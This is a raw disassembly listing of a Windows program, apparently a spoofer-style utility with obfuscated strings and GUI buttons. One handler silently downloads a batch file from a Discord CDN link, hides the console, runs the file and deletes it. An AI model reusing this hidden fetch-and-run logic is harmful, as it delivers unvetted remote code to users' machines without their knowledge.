pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0xa4]
xorps xmm2, xmm1
movd dword [rbp + 0xa4], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0xa0]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x1400815f0
lea rdx, [rbp + 0xa0]
lea rcx, [rbp + 0xe08]
call fcn.140065f30
lea rcx, [rbp + 0xe08]
cmp qword [rbp + 0xe20], 0xf
cmova rcx, qword [rbp + 0xe08]
call fcn.14004f2d0
mov dword [rbp + 0x3b0], 0x42480000
mov dword [rbp + 0x3b4], 0x43340000
lea rcx, [rbp + 0x3b0]
call fcn.140025c30
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r15, qword [0x140175288]
mov rcx, r15
call fcn.14004f2d0
mov dword [rbp + 0x3b8], 0x42480000
mov dword [rbp + 0x3bc], 0x43520000
lea rcx, [rbp + 0x3b8]
call fcn.140025c30
mov r15, qword [rbp + 0x80]
mov rcx, r15
call fcn.140025a30
mov rdx, r14
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x1401752a8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r13, qword [0x140175228]
mov r8, qword [0x140175238]
cmp r8, qword [0x1401752b8]
jne 0x14008191c
mov rcx, r13
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x14008191c
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.yZB__KXT_OZ]
movups xmmword [rbp + 0x1d0], xmm0
movsd xmm0, qword [0x140144e10]
movsd qword [rbp + 0x1e0], xmm0
movzx eax, word [0x140144e18]
mov word [rbp + 0x1e8], ax
cmp byte [0x140144e19], 0
je 0x140081910
mov r8d, r12d
cmp esi, 2
jl 0x1400818c9
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x1d4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x1400817c0
cmp r8d, 0x1a
jge 0x140081910
movsxd rax, r8d
lea r9, [rbp + 0x1d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x1400818e0
lea rdx, [rbp + 0x1d0]
jmp 0x140081b07
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x140144de8]
movups xmmword [rbp + 0x1d0], xmm0
mov eax, dword [0x140144df8]
mov dword [rbp + 0x1e0], eax
movzx eax, word [0x140144dfc]
mov word [rbp + 0x1e4], ax
cmp byte [0x140144dfd], 0
je 0x140081b00
mov r8d, r12d
cmp esi, 2
jl 0x140081ab9
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x1d4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x1400819b0
cmp r8d, 0x16
jge 0x140081b00
movsxd rax, r8d
lea r9, [rbp + 0x1d0]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140081ad0
lea rdx, [rbp + 0x1d0]
lea rcx, [rbp + 0xde8]
call fcn.140065f30
lea rcx, [rbp + 0xde8]
cmp qword [rbp + 0xe00], 0xf
cmova rcx, qword [rbp + 0xde8]
call fcn.14004f2d0
mov dword [rbp + 0x3c0], 0x42480000
mov dword [rbp + 0x3c4], 0x43660000
lea rcx, [rbp + 0x3c0]
call fcn.140025c30
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova r14, qword [0x1401752a8]
mov rcx, r14
call fcn.14004f2d0
mov dword [rbp + 0x3c8], 0x42480000
mov dword [rbp + 0x3cc], 0x43820000
lea rcx, [rbp + 0x3c8]
call fcn.140025c30
mov rcx, r15
call fcn.140025a30
lea rdi, [0x1401752c8]
mov rdx, rdi
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdx, qword [0x1401752c8]
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rax, [0x140175248]
cmova rax, qword [0x140175248]
mov r8, qword [0x140175258]
cmp r8, qword [0x1401752d8]
jne 0x140081dfc
mov rcx, rax
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140081dfc
mov qword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xdc], r12d
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [str.GXtwj]
movups xmmword [rbp + 0x1f0], xmm0
movsd xmm0, qword [0x140144e48]
movsd qword [rbp + 0x200], xmm0
movzx eax, word [0x140144e50]
mov word [rbp + 0x208], ax
cmp byte [0x140144e51], 0
je 0x140081df0
mov r8d, r12d
cmp esi, 2
jl 0x140081da9
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x50]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140081ca0
cmp r8d, 0x1a
jge 0x140081df0
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1a
jl 0x140081dc0
lea rdx, [rbp + 0x1f0]
jmp 0x140081fe7
mov dword [rbx + 0xd4], r12d
mov qword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
movups xmm0, xmmword [0x140144e20]
movups xmmword [rbp + 0x1f0], xmm0
mov eax, dword [0x140144e30]
mov dword [rbp + 0x200], eax
movzx eax, word [0x140144e34]
mov word [rbp + 0x204], ax
cmp byte [0x140144e35], 0
je 0x140081fe0
mov r8d, r12d
cmp esi, 2
jl 0x140081f99
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x1f4]
mov edx, dword [rsp + 0x50]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x10
jl 0x140081e90
cmp r8d, 0x16
jge 0x140081fe0
movsxd rax, r8d
lea r9, [rbp + 0x1f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x16
jl 0x140081fb0
lea rdx, [rbp + 0x1f0]
lea rcx, [rbp + 0xe28]
call fcn.140065f30
lea rcx, [rbp + 0xe28]
cmp qword [rbp + 0xe40], 0xf
cmova rcx, qword [rbp + 0xe28]
call fcn.14004f2d0
mov dword [rbp + 0x3d0], 0x42480000
mov dword [rbp + 0x3d4], 0x438c0000
lea rcx, [rbp + 0x3d0]
call fcn.140025c30
mov dword [rbx + 0xd4], 0x3f800000
mov dword [rbx + 0xd8], 0x3f800000
mov dword [rbx + 0xdc], 0x3f800000
mov dword [rbx + 0xe0], 0x3f800000
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
cmova rdi, qword [0x1401752c8]
mov rcx, rdi
call fcn.14004f2d0
mov rcx, r15
call fcn.140025a30
mov dword [rbp + 0x3d8], 0x42480000
mov dword [rbp + 0x3dc], 0x439b0000
lea rcx, [rbp + 0x3d8]
call fcn.140025c30
mov dword [rbp + 0x3e0], 0x42900000
mov dword [rbp + 0x3e4], 0x41f00000
movaps xmm1, xmmword [0x140147680]
movaps xmmword [rsp + 0x50], xmm1
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x60], xmm0
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x140175780]
mov qword [rsp + 0x28], rax
lea rax, [0x140175778]
mov qword [rsp + 0x20], rax
lea r9, [0x140175770]
xor r8d, r8d
lea rdx, [rbp + 0x3e0]
lea rcx, str.___Back
call fcn.14003fdb0
test al, al
je 0x14008212a
mov byte [0x1401796bb], 0
mov byte [0x1401796ba], 1
mov byte [reloc.WS2_32.dll_accept], 0
mov dword [rbp + 0x3e8], 0x440c0000
mov dword [rbp + 0x3ec], 0x40a00000
lea rcx, [rbp + 0x3e8]
call fcn.140025c30
mov dword [rbp + 0x3f0], 0x41a00000
mov dword [rbp + 0x3f4], 0x41f00000
movaps xmm0, xmmword [0x140147680]
movaps xmmword [rsp + 0x50], xmm0
movaps xmm1, xmmword [0x140147650]
movaps xmmword [rsp + 0x60], xmm1
lea rax, [rsp + 0x50]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x30], rax
lea rax, [0x140175798]
mov qword [rsp + 0x28], rax
lea rax, [0x140175790]
mov qword [rsp + 0x20], rax
lea r9, [0x140175788]
xor r8d, r8d
lea rdx, [rbp + 0x3f0]
lea rcx, [0x140144f5c]
call fcn.14003fdb0
test al, al
je 0x1400821ce
mov byte [reloc.WS2_32.dll_accept], 0
mov rdx, qword [rbp + 0xe40]
cmp rdx, 0xf
jbe 0x14008221e
inc rdx
mov rcx, qword [rbp + 0xe28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082219
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082219
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f447c
movdqa xmm0, xmmword [0x140147570]
movdqu xmmword [rbp + 0xe38], xmm0
mov byte [rbp + 0xe28], 0
mov rdx, qword [rbp + 0xe00]
cmp rdx, 0xf
jbe 0x140082285
inc rdx
mov rcx, qword [rbp + 0xde8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140082280
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140082280
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f447c
movdqa xmm0, xmmword [0x140147570]
movdqu xmmword [rbp + 0xdf8], xmm0
mov byte [rbp + 0xde8], 0
mov rdx, qword [rbp + 0xe20]
cmp rdx, 0xf
jbe 0x1400822ec
inc rdx
mov rcx, qword [rbp + 0xe08]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400822e7
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400822e7
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f447c
movdqa xmm0, xmmword [0x140147570]
movdqu xmmword [rbp + 0xe18], xmm0
mov byte [rbp + 0xe08], 0
mov rdx, qword [rbp + 0xe60]
cmp rdx, 0xf
jbe 0x140082353
inc rdx
mov rcx, qword [rbp + 0xe48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14008234e
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14008234e
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400f447c
movdqa xmm0, xmmword [0x140147570]
movdqu xmmword [rbp + 0xe58], xmm0
mov byte [rbp + 0xe48], 0
call fcn.140015af0
mov r13d, dword [reloc.WS2_32.dll_accept]
cmp byte [0x1401796ba], 0
je 0x140083191
mov qword [rbp + 0x3f8], 0x43160000
lea rcx, [rbp + 0x3f8]
call fcn.140025c30
mov rcx, r15
call fcn.140025a30
call fcn.1400196e0
mov rbx, rax
mov qword [rax + 0xf4], 0
mov dword [rax + 0xfc], r12d
mov dword [rax + 0x100], 0x3f000000
mov dword [rbp + 0x400], 0x44138000
mov dword [rbp + 0x404], 0x43e60000
movsd xmm0, qword [0x140144e58]
movsd qword [rbp - 0x40], xmm0
movzx ecx, word [0x140144e60]
mov word [rbp - 0x38], cx
cmp byte [0x140144e61], 0
je 0x140082427
mov byte [rbp - 0x40], reloc.WLDAP32.dll_Ordinal_35
xor byte [rbp - 0x3f], 0x35
xor byte [rbp - 0x3e], 0x36
xor byte [rbp - 0x3d], 0x37
xor byte [rbp - 0x3c], 0x38
xor byte [rbp - 0x3b], 0x39
xor byte [rbp - 0x3a], 0x3a
xor byte [rbp - 0x39], 0x3b
xor byte [rbp - 0x38], 0x3c
xor byte [rbp - 0x37], 0x3d
xor r9d, r9d
mov r8b, 1
lea rdx, [rbp + 0x400]
lea rcx, [rbp - 0x40]
call fcn.140007ed0
mov dword [rbp + 0x408], 0x42480000
mov dword [rbp + 0x40c], 0x42480000
lea rcx, [rbp + 0x408]
call fcn.140025c30
mov dword [rbp + 0x410], 0x43f50000
mov dword [rbp + 0x414], 0x43480000
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x28], r12
mov dword [rsp + 0x20], 0x4000
lea r9, [rbp + 0x410]
mov r8d, 0x200
lea rdx, [0x140179800]
lea rcx, [0x1400fbb04]
call fcn.14004a6f0
mov dword [rbp + 0x418], 0x42480000
mov dword [rbp + 0x41c], 0x43870000
lea rcx, [rbp + 0x418]
call fcn.140025c30
mov dword [rbx + 0x94], 0x3f000000
mov dword [rbx + 0x98], 0x3f000000
movaps xmm6, xmmword [0x140147660]
mov dword [rbp + 0x420], 0x43700000
mov dword [rbp + 0x424], 0x42200000
movsd xmm0, qword [0x140144e68]
movsd qword [rbp + 0x138], xmm0
mov eax, dword [0x140144e70]
mov dword [rbp + 0x140], eax
movzx eax, byte [0x140144e74]
mov byte [rbp + 0x144], al
mov r8d, r12d
cmp r13d, 2
jl 0x140082630
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm2, xmmword [0x140107310]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
mov eax, dword [str.4444444444444444]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [0x140144e68]
xorps xmm2, xmm0
movd dword [rbp + 0x138], xmm2
movdqa xmm3, xmmword [0x140147580]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140147590]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rbp + 0x13c]
xorps xmm2, xmm1
movd dword [rbp + 0x13c], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rbp + 0x138]
add r9, rax
nop dword [rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xd
jl 0x140082640
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm6
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401757b0]
mov qword [rsp + 0x28], rax
lea rax, [0x1401757a8]
mov qword [rsp + 0x20], rax
lea r9, [0x1401757a0]
xor r8d, r8d
lea rdx, [rbp + 0x420]
lea rcx, [rbp + 0x138]
call fcn.14003f470
test al, al
je 0x14008275b
mov qword [rsp + 0x20], r12
xor r9d, r9d
lea r8, str.C:UsersPermament_Mac_Changer.bat
lea rdx, str.https:__cdn.discordapp.com_attachments_1118235576546627715_1219589919501189130_Permament_Mac_Changer.bat_ex660bda9fis65f9659fhm69d8d950661c0c5b10570d10d3297ec380835632ab48f6a5fdec3a66d5900f96
xor ecx, ecx
call sub.urlmon.dll_URLDownloadToFileA
mov ecx, 0x7d0
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
xor edx, edx
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, str.cd_C:Users__Permament_Mac_Changer.bat
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [0x140143c50]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
call qword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov rcx, rax
mov edx, 9
call qword [sym.imp.USER32.dll_ShowWindow]
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.C:UsersPermament_Mac_Changer.bat
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
movaps xmm1, xmm8
movaps xmm0, xmm12
call fcn.1400252f0
movaps xmm7, xmmword [0x140147660]
mov dword [rbp + 0x428], 0x43700000
mov dword [rbp + 0x42c], 0x42200000
movups xmm0, xmmword [str._P_GWK_IE]
movups xmmword [rbp + 0x6f0], xmm0
movsd xmm0, qword [0x140144e88]
movsd qword [rbp + 0x700], xmm0
mov eax, dword [0x140144e90]
mov dword [rbp + 0x708], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_79], 0
je 0x140082950
mov r8d, r12d
cmp r13d, 2
jl 0x140082909
movdqa xmm5, xmmword [0x140107310]
movdqa xmm4, xmmword [0x1401476e0]
movdqa xmm6, xmmword [0x140147590]
movdqa xmm0, xmmword [str.4444444444444444]
movdqa xmmword [rsp + 0x50], xmm0
lea rcx, [rbp + 0x6f4]
mov edx, dword [rsp + 0x50]
nop dword [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140147600]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x18
jl 0x140082800
cmp r8d, 0x1c
jge 0x140082950
movsxd rax, r8d
lea r9, [rbp + 0x6f0]
add r9, rax
nop word [rax + rax]
mov eax, 0x5397829d
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
movzx eax, r8b
sub al, cl
add al, 0x34
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x1c
jl 0x140082920
movups xmm0, xmmword [0x140175300]
movdqa xmmword [rsp + 0x50], xmm0
movdqa xmmword [rsp + 0x60], xmm7
lea rax, [rsp + 0x50]
mov qword [rsp + 0x40], rax
lea rax, [rsp + 0x60]
mov qword [rsp + 0x38], rax
mov dword [rsp + 0x30], 0xffffffff
lea rax, [0x1401757c8]
mov qword [rsp + 0x28], rax
lea rax, [0x1401757c0]
mov qword [rsp + 0x20], rax
lea r9, [0x1401757b8]
xor r8d, r8d
lea rdx, [rbp + 0x428]
lea rcx, [rbp + 0x6f0]
call fcn.14003f470
test al, al
